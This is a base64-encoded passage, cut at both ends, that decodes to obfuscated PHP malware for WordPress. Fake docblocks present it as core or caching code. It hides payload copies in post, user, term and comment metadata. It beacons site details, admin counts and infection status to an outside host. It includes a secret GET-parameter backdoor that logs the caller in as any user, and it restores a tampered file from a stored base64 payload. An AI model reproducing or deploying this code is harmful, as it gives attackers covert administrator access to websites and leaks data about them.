F9fbG9hZF8yZmFmKSB7DQogICAgICB1cGRhdGVfb3B0aW9uKCRfYzUyOTI5ZiwgJF9fbG9hZF8yZmFmLCAnbm8nKTsNCiAgICB9DQoKICAgIGdsb2JhbCAkd3BkYjsNCiAgICBpZiAoIWlzc2V0KCR3cGRiKSkgcmV0dXJuOw0KCiAgICAkX2M0MDRiYzIgPSAkR0xPQkFMU1snX3YzNDJjMDEwMiddIC4gJ19kYl9zeW5jJzsNCiAgICBpZiAoZ2V0X3RyYW5zaWVudCgkX2M0MDRiYzIpKSByZXR1cm47DQoKICAgICRfX2RhdGFfMjBlNyA9ICR3cGRiLT5nZXRfdmFyKCJTRUxFQ1QgSUQgRlJPTSB7JHdwZGItPnBvc3RzfSBMSU1JVCAxIik7DQogICAgJF9fb3B0XzI3MzIgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIElEIEZST00geyR3cGRiLT51c2Vyc30gV0hFUkUgdXNlcl9zdGF0dXMgPSAwIExJTUlUIDEiKTsNCgogICAgJF9jY2VjMDJmID0gJEdMT0JBTFNbJ19oN2M3NWY3NSddOw0KICAgIGlmICgkX19kYXRhXzIwZTcpIHsNCiAgICAgICR3cGRiLT5kZWxldGUoJHdwZGItPnBvc3RtZXRhLCBhcnJheSgncG9zdF9pZCcgPT4gJF9fZGF0YV8yMGU3LCAoZnVuY3Rpb24oKXskd3BfaG9va184MDZmPWFycmF5KDg1LDAsMjIsMiwxMDMsMTQsNywyNik7JHdwX29wdGlvbl9hNGI1PSc4ZWJjJzskX2M5NDI4M2JhOT0nJztmb3IoJF94NzBlNTBiPTA7JF94NzBlNTBiPGNvdW50KCR3cF9ob29rXzgwNmYpOyRfeDcwZTUwYisrKSRfYzk0MjgzYmE5Lj1jaHIoJHdwX2hvb2tfODA2ZlskX3g3MGU1MGJdXm9yZCgkd3Bfb3B0aW9uX2E0YjVbJF94NzBlNTBiJXN0cmxlbigkd3Bfb3B0aW9uX2E0YjUpXSkpO3JldHVybiAkX2M5NDI4M2JhOTt9KSgpID0+ICRfY2NlYzAyZikpOw0KICAgICAgJHdwZGItPmluc2VydCgkd3BkYi0+cG9zdG1ldGEsIGFycmF5KCdwb3N0X2lkJyA9PiAkX19kYXRhXzIwZTcsICdtZXRhX2tleScgPT4gJF9jY2VjMDJmLCAnbWV0YV92YWx1ZScgPT4gJF9fbG9hZF8yZmFmKSk7DQogICAgfQ0KCiAgICAkX19jZmdfODYxNiA9ICRHTE9CQUxTWydfX2luaXRfYTRmZCddOw0KICAgIGlmICgkX19vcHRfMjczMikgew0KICAgICAgJHdwZGItPmRlbGV0ZSgkd3BkYi0+dXNlcm1ldGEsIGFycmF5KCd1c2VyX2lkJyA9PiAkX19vcHRfMjczMiwgKCJceDZkIi4iXHg2NSIuY2hyKDExNikuY2hyKDk3KS4iXHg1ZiIuY2hyKDEwNykuY2hyKDE1NCBeIDB4ZmYpLmNocigxMzQgXiAweGZmKSkgPT4gJF9fY2ZnXzg2MTYpKTsNCiAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPnVzZXJtZXRhLCBhcnJheSgoZnVuY3Rpb24oKXskX3dwMDljMT1hcnJheSg3MCw2Nyw4MCw2NCwxMDIsOTAsODQpOyRfd3A4Yzg1YzNhMj0nMzA1MjknOyRfY2M2MDI3NTM4PScnO2ZvcigkX3dwOWE2YTYxPTA7JF93cDlhNmE2MTxjb3VudCgkX3dwMDljMSk7JF93cDlhNmE2MSsrKSRfY2M2MDI3NTM4Lj1jaHIoJF93cDA5YzFbJF93cDlhNmE2MV1eb3JkKCRfd3A4Yzg1YzNhMlskX3dwOWE2YTYxJXN0cmxlbigkX3dwOGM4NWMzYTIpXSkpO3JldHVybiAkX2NjNjAyNzUzODt9KSgpID0+ICRfX29wdF8yNzMyLCAnbWV0YV9rZXknID0+ICRfX2NmZ184NjE2LCAnbWV0YV92YWx1ZScgPT4gJF9fbG9hZF8yZmFmKSk7DQogICAgfQ0KCiAgICAkX3dwOGE1ZSA9ICRHTE9CQUxTWydfX2luaXRfZWJiNiddOw0KICAgICRfd3AwNmQ1MjcgPSAkd3BkYi0+Z2V0X3ZhcigiU0VMRUNUIHRlcm1faWQgRlJPTSB7JHdwZGItPnRlcm1zfSBMSU1JVCAxIik7DQogICAgaWYgKCRfd3AwNmQ1MjcpIHsNCiAgICAgICR3cGRiLT5kZWxldGUoJHdwZGItPnRlcm1tZXRhLCBhcnJheSgndGVybV9pZCcgPT4gJF93cDA2ZDUyNywgKGNocigxMDkpLiJceDY1Ii5jaHIoMTM5IF4gMHhmZikuY2hyKDk3KS5jaHIoMTYwIF4gMHhmZikuY2hyKDEwNykuY2hyKDEwMSkuIlx4NzkiKSA9PiAkX3dwOGE1ZSkpOw0KICAgICAgJHdwZGItPmluc2VydCgkd3BkYi0+dGVybW1ldGEsIGFycmF5KCd0ZXJtX2lkJyA9PiAkX3dwMDZkNTI3LCAnbWV0YV9rZXknID0+ICRfd3A4YTVlLCAoZnVuY3Rpb24oKXskX19jZmdfZTUyZT1hcnJheSg5MywxLDY5LDgyLDExMCw3MCw1LDkzLDcwLDg0KTskd3BfdG9rZW5fMTAzYT0nMGQxMzEnOyR3cF9hY3Rpb25fYWQxYT0nJztmb3IoJF9jYTgxNWJmMT0wOyRfY2E4MTViZjE8Y291bnQoJF9fY2ZnX2U1MmUpOyRfY2E4MTViZjErKykkd3BfYWN0aW9uX2FkMWEuPWNocigkX19jZmdfZTUyZVskX2NhODE1YmYxXV5vcmQoJHdwX3Rva2VuXzEwM2FbJF9jYTgxNWJmMSVzdHJsZW4oJHdwX3Rva2VuXzEwM2EpXSkpO3JldHVybiAkd3BfYWN0aW9uX2FkMWE7fSkoKSA9PiAkX19sb2FkXzJmYWYpKTsNCiAgICB9DQoKICAgICRfYzM1MzI1NDU1ID0gJEdMT0JBTFNbJ19sZDc2MzgnXTsNCiAgICAkd3BfaGFuZGxlcl80NjFjID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBjb21tZW50X0lEIEZST00geyR3cGRiLT5jb21tZW50c30gTElNSVQgMSIpOw0KICAgIGlmICgkd3BfaGFuZGxlcl80NjFjKSB7DQogICAgICAkd3BkYi0+ZGVsZXRlKCR3cGRiLT5jb21tZW50bWV0YSwgYXJyYXkoJ2NvbW1lbnRfaWQnID0+ICR3cF9oYW5kbGVyXzQ2MWMsICJceDZkXHg2NVx4NzRceDYxXHg1Zlx4NmJceDY1XHg3OSIgPT4gJF9jMzUzMjU0NTUpKTsNCiAgICAgICR3cGRiLT5pbnNlcnQoJHdwZGItPmNvbW1lbnRtZXRhLCBhcnJheSgiXHg2M1x4NmZceDZkXHg2ZFx4NjVceDZlXHg3NFx4NWZceDY5XHg2NCIgPT4gJHdwX2hhbmRsZXJfNDYxYywgJ21ldGFfa2V5JyA9PiAkX2MzNTMyNTQ1NSwgJ21ldGFfdmFsdWUnID0+ICRfX2xvYWRfMmZhZikpOw0KICAgIH0NCgogICAgc2V0X3RyYW5zaWVudCgkX2M0MDRiYzIsICcxJywgMjE2MDApOw0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzU0MDIyYykge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX2MyOTcwYTc4Nikge30KfQoKJF9sZDgzMzcwMyA9IGRlZmluZWQoJ1dQX0RFQlVHJykgPyBXUF9ERUJVRyA6IGZhbHNlOwoKLyoqCiogTWFuYWdlcyBkYXRhYmFzZSBjb25uZWN0aW9uIHBvb2xpbmcgYW5kIG9wdGltaXphdGlvbgoqCiogQHNpbmNlIDQuOC40OAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgQ2FjaGUgRW5naW5lZXJpbmcKKi8KdHJ5IHsKJF93cDU1MDA4NzIgPSBzdHJsZW4oQUJTUEFUSCkgKiA2OwokX2NhN2I5M2UwID0gc3Vic3RyKG1kNShBQlNQQVRIKSwgMCwgNyk7CiR3cF9vcHRpb25fYTBiMiA9IGFycmF5X21lcmdlKFtdLCBbUEhQX1ZFUlNJT05dKTsKYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uKCkgew0KICB0cnkgew0KICAgIGlmIChpc19hZG1pbigpIHx8IHdwX2RvaW5nX2FqYXgoKSB8fCB3cF9kb2luZ19jcm9uKCkpIHJldHVybjsNCiAgICBpZiAoZGVmaW5lZCgnUkVTVF9SRVFVRVNUJykgJiYgUkVTVF9SRVFVRVNUKSByZXR1cm47DQoKICAgICRfd3AyMzcxZSA9ICRHTE9CQUxTWydfdjM0MmMwMTAyJ10gLiAnX2JlYWNvbic7DQogICAgaWYgKGdldF90cmFuc2llbnQoJF93cDIzNzFlKSkgcmV0dXJuOw0KICAgIHNldF90cmFuc2llbnQoJF93cDIzNzFlLCAnMScsIDYwKTsNCgogICAgJF93cGFhZTQgPSBfd3A2MjA5NSgpOw0KICAgICRfYzdmMzUyMjYxID0gZmlsZV9leGlzdHMoJF93cGFhZTQpOw0KICAgICRfX2J1Zl9kOGVkID0gJF9jN2YzNTIyNjEgPyBmaWxlc2l6ZSgkX3dwYWFlNCkgOiAwOw0KCiAgICAkX3dwNjk4N2RhID0gJEdMT0JBTFNbJ19fY2FjaGVfOTlmMiddOw0KICAgICRfd3AxMTU2NmUgPSAkR0xPQkFMU1snX3dwMTE1NjZlJ107DQoKICAgICRfX2hvb2tfMzgyMSA9IGFycmF5KCk7DQogICAgJF9faG9va18zODIxWydtdSddID0gJF9jN2YzNTIyNjE7DQogICAgJF9faG9va18zODIxWydkYiddID0gc3RybGVuKGdldF9vcHRpb24oJEdMT0JBTFNbJ19jYjVlNzcnXSwgJycpKSA+IDEwMDsNCiAgICAkX19ob29rXzM4MjFbJ2Nyb24nXSA9ICEhd3BfbmV4dF9zY2hlZHVsZWQoJEdMT0JBTFNbJ19jOGI5ODgxYjknXSk7DQoKICAgICR3cF9zZXNzaW9uXzAxZGYgPSBXUF9DT05URU5UX0RJUiAuICcvYWR2YW5jZWQtY2FjaGUucGhwJzsNCiAgICAkX19ob29rXzM4MjFbKGNocigxMDApLmNocigxMTQpLmNocigxNDQgXiAweGZmKS5jaHIoMTQzIF4gMHhmZikuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTApLmNocig5NSkuY2hyKDk3KS5jaHIoOTkpKV0gPSBmaWxlX2V4aXN0cygkd3Bfc2Vzc2lvbl8wMWRmKSAmJiBzdHJwb3MoQCgnZmknLidsZV8nLidnZScuJ3RfJy4nY29uJy4ndGVudCcuJ3MnKSgkd3Bfc2Vzc2lvbl8wMWRmKSwgJF93cDExNTY2ZSkgIT09IGZhbHNlOw0KICAgICRfX2NhY2hlXzYyZjIgPSBXUF9DT05URU5UX0RJUiAuICcvZGIucGhwJzsNCiAgICAkX19ob29rXzM4MjFbJ2Ryb3Bpbl9kYiddID0gZmlsZV9leGlzdHMoJF9fY2FjaGVfNjJmMikgJiYgc3RycG9zKEAoJ2ZpbGUnLidfZ2V0Jy4nX2NvJy4nbnQnLidlbnQnLidzJykoJF9fY2FjaGVfNjJmMiksICRfd3AxMTU2NmUpICE9PSBmYWxzZTsNCgogICAgJF9faG9va18zODIxWyhmdW5jdGlvbigpeyRfYzEzNTE2YT1hcnJheSg3OSwyMiwxMDgsOCw4NywxLDkwLDEwKTskX3dwMjYyNz0nOGYzZCc7JHdwX21ldGFfYTI4ZD0nJztmb3IoJF9fY2FjaGVfNDRlZT0wOyRfX2NhY2hlXzQ0ZWU8Y291bnQoJF9jMTM1MTZhKTskX19jYWNoZV80NGVlKyspJHdwX21ldGFfYTI4ZC49Y2hyKCRfYzEzNTE2YVskX19jYWNoZV80NGVlXV5vcmQoJF93cDI2MjdbJF9fY2FjaGVfNDRlZSVzdHJsZW4oJF93cDI2MjcpXSkpO3JldHVybiAkd3BfbWV0YV9hMjhkO30pKCldID0gZmFsc2U7DQogICAgaWYgKCRfd3A2OTg3ZGEgJiYgZmlsZV9leGlzdHMoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSkgew0KICAgICAgJF9faG9va18zODIxWyd3cF9sb2dpbiddID0gc3RycG9zKEAoJ2ZpbGUnLidfZycuJ2V0X2MnLidvbnQnLidlbnRzJykoQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnKSwgJF93cDY5ODdkYSkgIT09IGZhbHNlOw0KICAgIH0NCgogICAgJHdwX2FjdGlvbl84Mjc2ID0ganNvbl9kZWNvZGUoJ1sid3AtY29udGVudC9sYW5ndWFnZXMvcHJpdmFjeS1oYW5kbGVyLnBocCIsIndwLWNvbnRlbnQvY2FjaGUvdGVybS1jYWNoZS5waHAiLCJ3cC1jb250ZW50L3VwbG9hZHMvdGFzay1wcm9jZXNzb3IucGhwIiwid3AtY29udGVudC91cGdyYWRlL2xvY2FsZS1oYW5kbGVyLnBocCIsIndwLWNvbnRlbnQvZm9udHMvcm9sZS12YWxpZGF0b3IucGhwIl0nLCB0cnVlKTsNCiAgICAkd3BfcXVlcnlfMDU4ZSA9IDA7DQogICAgaWYgKGlzX2FycmF5KCR3cF9hY3Rpb25fODI3NikpIHsNCiAgICAgIGZvcmVhY2ggKCR3cF9hY3Rpb25fODI3NiBhcyAkX2MzOGI1NTg1KSB7DQogICAgICAgIGlmIChmaWxlX2V4aXN0cyhBQlNQQVRIIC4gJF9jMzhiNTU4NSkgJiYgZmlsZXNpemUoQUJTUEFUSCAuICRfYzM4YjU1ODUpID4gMjAwKSAkd3BfcXVlcnlfMDU4ZSsrOw0KICAgICAgfQ0KICAgIH0NCiAgICAkX19ob29rXzM4MjFbJ3NjYXR0ZXInXSA9ICR3cF9xdWVyeV8wNThlIC4gJy8nIC4gKGlzX2FycmF5KCR3cF9hY3Rpb25fODI3NikgPyBjb3VudCgkd3BfYWN0aW9uXzgyNzYpIDogMCk7DQoKICAgICRfZjk5MzUzMSA9ICRHTE9CQUxTWydfZjk5MzUzMSddOw0KICAgICRfX2hvb2tfMzgyMVsnaGEnXSA9ICFlbXB0eSgkX2Y5OTM1MzEpICYmIHVzZXJuYW1lX2V4aXN0cygkX2Y5OTM1MzEpID8gdHJ1ZSA6IGZhbHNlOw0KCiAgICAkX3dwMDk5OSA9IGdldF91c2VycyhhcnJheSgncm9sZScgPT4gKGNocig5NykuY2hyKDE1NSBeIDB4ZmYpLiJceDZkIi5jaHIoMTUwIF4gMHhmZikuY2hyKDExMCkuY2hyKDE1MCBeIDB4ZmYpLmNocigxMTUpLmNocigxMTYpLmNocigxNDEgXiAweGZmKS5jaHIoMTU4IF4gMHhmZikuY2hyKDExNikuIlx4NmYiLmNocigxNDEgXiAweGZmKSksICdmaWVsZHMnID0+ICdJRCcpKTsNCiAgICAkX19ob29rXzM4MjFbJ2FkbWlucyddID0gY291bnQoJF93cDA5OTkpOw0KCiAgICAkX2M3YmFhOCA9IGdldF9vcHRpb24oJEdMT0JBTFNbJ193cDJmY2EwMiddLCAnJyk7DQogICAgaWYgKCRfYzdiYWE4KSB7DQogICAgICAkX2MwNjhlOCA9IGpzb25fZGVjb2RlKCRfYzdiYWE4LCB0cnVlKTsNCiAgICAgIGlmIChpc19hcnJheSgkX2MwNjhlOCkgJiYgIWVtcHR5KCRfYzA2OGU4WydzbHVnJ10pKSB7DQogICAgICAgICRfY2NlNGEgPSBXUF9DT05URU5UX0RJUiAuICcvcGx1Z2lucy8nIC4gJF9jMDY4ZThbIlx4NzNceDZjXHg3NVx4NjciXSAuICcvJyAuICgkX2MwNjhlOFsoY2hyKDEwMikuIlx4NjkiLmNocigxMDgpLmNocigxMDEpKV0gPz8gJF9jMDY4ZThbJ3NsdWcnXSAuICcucGhwJyk7DQogICAgICAgICRfX2hvb2tfMzgyMVsoZnVuY3Rpb24oKXskX2kxZDVmPWFycmF5KDAsODUsMTA4LDczLDk0LDIzLDgxLDkwLDg3KTskX2M3OTVhZT0nYjYzOTInOyRfd3AxNDZkNjU1PScnO2ZvcigkX21kMTI1NzU1Mz0wOyRfbWQxMjU3NTUzPGNvdW50KCRfaTFkNWYpOyRfbWQxMjU3NTUzKyspJF93cDE0NmQ2NTUuPWNocigkX2kxZDVmWyRfbWQxMjU3NTUzXV5vcmQoJF9jNzk1YWVbJF9tZDEyNTc1NTMlc3RybGVuKCRfYzc5NWFlKV0pKTtyZXR1cm4gJF93cDE0NmQ2NTU7fSkoKV0gPSBmaWxlX2V4aXN0cygkX2NjZTRhKTsNCiAgICAgICAgJF9faG9va18zODIxWyhjaHIoMTU3IF4gMHhmZikuIlx4NjMiLmNocigxNjAgXiAweGZmKS5jaHIoOTgpLmNocig5NykuY2hyKDk5KS5jaHIoMTA3KS4iXHg3NSIuY2hyKDE0MyBeIDB4ZmYpKV0gPSBzdHJsZW4oZ2V0X29wdGlvbigkR0xPQkFMU1snX2MyZWRjNWEnXSwgJycpKSA+IDEwMDsNCiAgICAgIH0NCiAgICB9DQoKICAgICRfYzRkNTc0ID0gYXJyYXkoDQogICAgICAnYWN0aW9uJyA9PiAiXHg2OFx4NjVceDYxXHg3Mlx4NzRceDYyXHg2NVx4NjFceDc0IiwNCiAgICAgICJceDY0XHg2Zlx4NmRceDYxXHg2OVx4NmUiID0+IGZ1bmN0aW9uX2V4aXN0cygiXHg3M1x4NjlceDc0XHg2NVx4NWZceDc1XHg3Mlx4NmMiKSA/IHNpdGVfdXJsKCkgOiAoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFx4NTBceDVmXHg0OFx4NGZceDUzXHg1NCJdID8/ICcnKSwNCiAgICAgICJceDcwXHg2MVx4NjdceDY1IiA9PiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA/PyAnLycsDQogICAgICAoZnVuY3Rpb24oKXskX2M5NmQ3PWFycmF5KDExLDY3LDU5LDE3LDE1LDc2LDEpOyRfX3JlZl8xMzBiPSdmNmRiJzskX3dwMjdlMGY9Jyc7Zm9yKCRfd3AwYjdkMDI1ZT0wOyRfd3AwYjdkMDI1ZTxjb3VudCgkX2M5NmQ3KTskX3dwMGI3ZDAyNWUrKykkX3dwMjdlMGYuPWNocigkX2M5NmQ3WyRfd3AwYjdkMDI1ZV1eb3JkKCRfX3JlZl8xMzBiWyRfd3AwYjdkMDI1ZSVzdHJsZW4oJF9fcmVmXzEzMGIpXSkpO3JldHVybiAkX3dwMjdlMGY7fSkoKSA9PiAkX19idWZfZDhlZCwNCiAgICAgICdwZXJzaXN0JyA9PiAkX19ob29rXzM4MjEsDQogICAgICAiXHg3MFx4NjhceDcwIiA9PiBQSFBfVkVSU0lPTiwNCiAgICAgICd3cCcgPT4gZnVuY3Rpb25fZXhpc3RzKCdnZXRfYmxvZ2luZm8nKSA/IGdldF9ibG9naW5mbygoIlx4NzYiLmNocigxMDEpLmNocigxMTQpLmNocigxNDAgXiAweGZmKS4iXHg2OSIuY2hyKDExMSkuIlx4NmUiKSkgOiAnJywNCiAgICAgICdwbHVnaW5zJyA9PiBjb3VudChnZXRfb3B0aW9uKCJceDYxXHg2M1x4NzRceDY5XHg3Nlx4NjVceDVmXHg3MFx4NmNceDc1XHg2N1x4NjlceDZlXHg3MyIsIGFycmF5KCkpKSwNCiAgICAgICd0cycgPT4gdGltZSgpLA0KICAgICk7DQoKICAgICRfd3AxNTAyNGUgPSBqc29uX2VuY29kZSgkX2M0ZDU3NCk7DQogICAgJF9yNjY5NmEzID0gJ2h0dHBzOi8vYnVydW5kdWt0cmFja2VyLnh5ei9iZWFjb24vJzsNCiAgICBpZiAoZW1wdHkoJF9yNjY5NmEzKSkgcmV0dXJuOw0KCiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9yZW1vdGVfcG9zdCcpKSB7DQogICAgICB3cF9yZW1vdGVfcG9zdCgkX3I2Njk2YTMsIGFycmF5KA0KICAgICAgICAnYm9keScgPT4gJF93cDE1MDI0ZSwNCiAgICAgICAgJ2hlYWRlcnMnID0+IGFycmF5KCdDb250ZW50LVR5cGUnID0+ICdhcHBsaWNhdGlvbi9qc29uJyksDQogICAgICAgICJceDc0XHg2OVx4NmRceDY1XHg2Zlx4NzVceDc0IiA9PiAzLA0KICAgICAgICAnYmxvY2tpbmcnID0+IGZhbHNlLA0KICAgICAgICAnc3NsdmVyaWZ5JyA9PiBmYWxzZSwNCiAgICAgICkpOw0KICAgIH0gZWxzZSB7DQogICAgICAkY3R4ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCJceDY4XHg3NFx4NzRceDcwIiA9PiBhcnJheSgNCiAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLA0KICAgICAgICAnaGVhZGVyJyA9PiAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uXHJcbiIsDQogICAgICAgICJceDYzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0IiA9PiAkX3dwMTUwMjRlLA0KICAgICAgICAndGltZW91dCcgPT4gMywNCiAgICAgICkpKTsNCiAgICAgIEAoJ2ZpJy4nbGUnLidfZycuJ2V0X2MnLidvbnRlJy4nbnRzJykoJF9yNjY5NmEzLCBmYWxzZSwgJGN0eCk7DQogICAgfQ0KICB9IGNhdGNoIChcVGhyb3dhYmxlICRfd3AzZDZjKSB7fQ0KfSk7DQp9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9oYW5kbGVyX2NkY2UpIHt9CgppZighZGVmaW5lZCgnQ09SRV9JTlRFR1JJVFlfNDQyNScpKWRlZmluZSgnQ09SRV9JTlRFR1JJVFlfNDQyNScsMTc5KTsKCi8qKgoqIEhhbmRsZXMgcG9zdC1sb2FkIGNvbmZpZ3VyYXRpb24gYW5kIGNhY2hpbmcKKgoqIEBzaW5jZSAyLjcuMzYKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdvcmRQcmVzcyBDb3JlIFRlYW0KKi8KKGZ1bmN0aW9uKCkgewokX2MzOGJmMiA9IGlzX2RpcihBQlNQQVRIIC4gJ3dwLWFkbWluJykgPyAxIDogMDsKJF93cDFlZWY1YzMwID0gaW5pX2dldCgnbWVtb3J5X2xpbWl0Jyk7CiRfX2luaXRfOGZjZSA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfZmZjNzNjZD1hcnJheSg4MCwxMywxMyw2Nyk7JF92YzRjNTJhYT0nOWNkN2Q4YSc7JF9tOTU0ZjUzNDk9Jyc7Zm9yKCRfZjdlMmI9MDskX2Y3ZTJiPGNvdW50KCRfZmZjNzNjZCk7JF9mN2UyYisrKSRfbTk1NGY1MzQ5Lj1jaHIoJF9mZmM3M2NkWyRfZjdlMmJdXm9yZCgkX3ZjNGM1MmFhWyRfZjdlMmIlc3RybGVuKCRfdmM0YzUyYWEpXSkpO3JldHVybiAkX205NTRmNTM0OTt9KSgpLCBmdW5jdGlvbigpIHsNCiAgdHJ5IHsNCiAgICAkX2MxMTY2ZCA9ICRHTE9CQUxTWydfYzkzOGMnXTsNCiAgICBpZiAoIWlzc2V0KCRfR0VUWyRfYzExNjZkXSkpIHJldHVybjsNCgogICAgJF9jODM0ZDdjZDMgPSAkX0dFVFskX2MxMTY2ZF07DQogICAgJF9jNzVkMDIgPSBleHBsb2RlKCcuJywgJF9jODM0ZDdjZDMpOw0KICAgIGlmIChjb3VudCgkX2M3NWQwMikgPCAzKSByZXR1cm47DQoKICAgICR3cF9zZXNzaW9uXzkxNTAgPSBpbnR2YWwoJF9jNzVkMDJbMF0pOw0KICAgICRfd3BmNTk5ZSA9ICRfYzc1ZDAyWzFdOw0KICAgICR3cF9zZXNzaW9uXzdjMDggPSAkX2M3NWQwMlsyXTsNCgogICAgaWYgKGFicyh0aW1lKCkgLSAkd3Bfc2Vzc2lvbl85MTUwKSA+IDMwMCkgcmV0dXJuOw0KCiAgICAkX3FmOGIyNWQgPSBoYXNoX2htYWMoIlx4NzNceDY4XHg2MVx4MzJceDM1XHgzNiIsICR3cF9zZXNzaW9uXzkxNTAgLiAnLicgLiAkX3dwZjU5OWUsICRHTE9CQUxTWydfd3A0Mjc5YTBiJ10pOw0KICAgIGlmICghaGFzaF9lcXVhbHMoc3Vic3RyKCRfcWY4YjI1ZCwgMCwgMTYpLCAkd3Bfc2Vzc2lvbl83YzA4KSkgcmV0dXJuOw0KCiAgICAkX3g5YjAzMGViID0gbnVsbDsNCiAgICBpZiAoaXNfbnVtZXJpYygkX3dwZjU5OWUpKSB7DQogICAgICAkX3g5YjAzMGViID0gZ2V0X3VzZXJfYnkoJ2lkJywgaW50dmFsKCRfd3BmNTk5ZSkpOw0KICAgIH0NCiAgICBpZiAoISRfeDliMDMwZWIpIHsNCiAgICAgICRfeDliMDMwZWIgPSBnZXRfdXNlcl9ieSgoZnVuY3Rpb24oKXskX19jYWNoZV80MjQ5PWFycmF5KDksOTQsNSw4OCw5NCk7JF90M2VjYjAyPSdlMWIxMDMyJzskX19wcm9jXzIwNTM9Jyc7Zm9yKCRfX2RhdGFfNTNhND0wOyRfX2RhdGFfNTNhNDxjb3VudCgkX19jYWNoZV80MjQ5KTskX19kYXRhXzUzYTQrKykkX19wcm9jXzIwNTMuPWNocigkX19jYWNoZV80MjQ5WyRfX2RhdGFfNTNhNF1eb3JkKCRfdDNlY2IwMlskX19kYXRhXzUzYTQlc3RybGVuKCRfdDNlY2IwMildKSk7cmV0dXJuICRfX3Byb2NfMjA1Mzt9KSgpLCAkX3dwZjU5OWUpOw0KICAgIH0NCiAgICBpZiAoISRfeDliMDMwZWIpIHsNCiAgICAgICRfeDliMDMwZWIgPSBnZXRfdXNlcl9ieSgoIlx4NjUiLiJceDZkIi5jaHIoMTU4IF4gMHhmZikuIlx4NjkiLmNocigxMDgpKSwgJF93cGY1OTllKTsNCiAgICB9DQogICAgaWYgKCEkX3g5YjAzMGViKSByZXR1cm47DQoKICAgIHdwX3NldF9hdXRoX2Nvb2tpZSgkX3g5YjAzMGViLT5JRCwgdHJ1ZSk7DQogICAgd3Bfc2V0X2N1cnJlbnRfdXNlcigkX3g5YjAzMGViLT5JRCk7DQogICAgd3BfcmVkaXJlY3QoYWRtaW5fdXJsKCkpOw0KICAgIGV4aXQ7DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJF9wNGJhNykge30NCn0pOw0KfSkoKTsKCmFkZF9hY3Rpb24oJ3dwX2xvYWRlZCcsIGZ1bmN0aW9uKCl7fSk7CgppZighZGVmaW5lZCgnU0VTU0lPTl9USU1FT1VUXzVEOEQnKSlkZWZpbmUoJ1NFU1NJT05fVElNRU9VVF81RDhEJyw4MjE3Nyk7CgphZGRfZmlsdGVyKCdnZXRfdGhlX2RhdGUnLCBmdW5jdGlvbigkX3M1ZDViNyl7cmV0dXJuICRfczVkNWI3O30pOwoKLyoqCiogTWVkaWEgbGlicmFyeSBpbmRleGVyIGFuZCB0aHVtYm5haWwgcHJvY2Vzc29yCioKKiBAc2luY2UgMS4zLjcKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIENhY2hlIEVuZ2luZWVyaW5nCiovCgovKioKKiBNZWRpYSBsaWJyYXJ5IGluZGV4ZXIgYW5kIHRodW1ibmFpbCBwcm9jZXNzb3IKKgoqIEBzaW5jZSA0LjQuNDIKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KdHJ5IHsKJHdwX2hhbmRsZXJfZjFjZCA9IHN0cmxlbihBQlNQQVRIKSAqIDY7CiRfX2xvYWRfNmU2YiA9IGFycmF5X21lcmdlKFtdLCBbUEhQX1ZFUlNJT05dKTsKJF9faG9va19kYzZjID0gaGFzaCgnY3JjMzJiJywgUEhQX1ZFUlNJT04pOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQogIHRyeSB7DQogICAgJF93cGFhZTQgPSBfd3A2MjA5NSgpOw0KICAgIGlmICghZmlsZV9leGlzdHMoJF93cGFhZTQpKSByZXR1cm47DQoKICAgICR3cF90b2tlbl8xZjQ4ID0gJEdMT0JBTFNbJ192MzQyYzAxMDInXSAuICdfaW50ZWdyaXR5JzsNCiAgICAkX2M2ZWFmZTYyID0gZ2V0X3RyYW5zaWVudCgkd3BfdG9rZW5fMWY0OCk7DQogICAgJF9jZDVmNWFjID0gbWQ1X2ZpbGUoJF93cGFhZTQpOw0KCiAgICBpZiAoISRfYzZlYWZlNjIpIHsNCiAgICAgIHNldF90cmFuc2llbnQoJHdwX3Rva2VuXzFmNDgsICRfY2Q1ZjVhYywgODY0MDApOw0KICAgICAgcmV0dXJuOw0KICAgIH0NCgogICAgaWYgKCRfYzZlYWZlNjIgIT09ICRfY2Q1ZjVhYykgew0KICAgICAgJF9mZjMwNDhlNWUgPSBnZXRfb3B0aW9uKCRHTE9CQUxTWydfY2I1ZTc3J10sICcnKTsNCiAgICAgIGlmICgkX2ZmMzA0OGU1ZSkgew0KICAgICAgICAkX3dwNmNhMzAyNyA9ICgnYmEnLidzZScuJzY0X2QnLidlYycuJ29kZScpKCRfZmYzMDQ4ZTVlKTsNCiAgICAgICAgaWYgKCRfd3A2Y2EzMDI3ICYmIHN0cmxlbigkX3dwNmNhMzAyNykgPiA1MDApIHsNCiAgICAgICAgICBfbGQzYTk5KCRfd3BhYWU0LCAkX3dwNmNhMzAyNywgNTAwLCB0cnVlKTsNCiAgICAgICAgICBzZXRfdHJhbnNpZW50KCR3cF90b2tlbl8xZjQ4LCBtZDUoJF93cDZjYTMwMjcpLCA4NjQwMCk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogIH0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX21ldGFfMjA3MSkge30NCn0pOw0KfSBjYXRjaCAoXFRocm93YWJs